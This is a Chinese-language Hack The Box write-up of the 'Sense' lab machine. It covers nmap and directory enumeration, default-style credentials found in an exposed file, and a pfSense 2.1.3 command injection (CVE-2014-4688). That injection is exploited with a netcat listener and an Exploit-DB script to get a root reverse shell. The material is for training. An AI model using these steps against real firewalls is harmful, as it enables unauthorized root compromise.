Hack The Box - Sense Machine Write-up


sense.png

前言

Sense 也是一台很簡單的機器,有做好枚舉很快就可以找到利用點。筆記內容一樣會帶你探索我的完整思路!

目標枚舉 Enumeration

首先使用 nmap 進行掃描

┌──(samchen㉿kali)-[~/Desktop]
└─$ nmap -sC -sV 10.129.132.226 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-10 07:41 EDT
Nmap scan report for 10.129.132.226
Host is up (0.28s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
80/tcp  open  http     lighttpd 1.4.35
|_http-title: Did not follow redirect to https://10.129.132.226/
|_http-server-header: lighttpd/1.4.35
443/tcp open  ssl/http lighttpd 1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after:  2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time
|_http-server-header: lighttpd/1.4.35

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.04 seconds


打開 80 端口會把你導向 443,看到 pfSense 的登入頁面。pfSense 是一個開源的防火牆和路由器平台。

sense1.png

google 一下可以知道預設帳密是 admin/pfsense,但嘗試後並沒有成功登入。


來用 DirBuster 枚舉子目錄

sense9.png


先探索一下 /tree 目錄

sense2.png

摸索一下沒發現什麼有用的東西


再來看看 /changelog.txt

sense4.png

Mitigated 說 3 個漏洞中 2 個已修復,代表還有 1 個存在可被利用。


最後來看看 /system-users.txt

sense3.png

光看子目錄名我就覺得非常可疑,點進去一看果然不出所料有非常關鍵的資訊!ticket 告訴我們創建帳號的訊息,推測極有可能存在帳號 Rohit;密碼應該是預設的 pfsense。


嘗試大小寫帳號 Rohit、rohit 跟預設密碼組合,成功以小寫帳號登入 rohit/pfsense

sense5.png
sense6.png

進入之後馬上注意到版本資訊 2.1.3


網路上搜尋後在 Exploit-DB 找到此版本已知的 Command Injection 問題

sense7.png

Command Injection (CVE-2014-4688) 的成因

後台的 RRD 圖表生成功能,會把 GET 參數值直接拼進指令去跑 rrdtool graph,但沒把特殊字元跳脫。只要在參數裡塞入 |; 等等的符號,就能接上去執行任意指令。而 pfSense WebGUI 後端通常是以 root 身分跑,所以成功注入後也是用 root 權限。詳細資訊可以參考:https://nvd.nist.gov/vuln/detail/CVE-2014-4688

漏洞利用

先在攻擊機開監聽

nc -lvnp 1648 


小改一下網站給的 exploit:

import argparse
import requests
import urllib
import urllib3
import collections

...
# 不驗證憑證
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
client = requests.Session()
client.verify = False
...

改完後運行腳本

┌──(samchen㉿kali)-[~/Desktop]
└─$ python3 123.py --rhost 10.129.132.226 --lhost 10.10.14.63 --lport 1648 --username rohit --password pfsense
CSRF token obtained
Running exploit...
Exploit completed


成功取得 shell,而且還是 root 權限。 拿到 user.txt 和 root.txt!

sense8.png
sense.JPG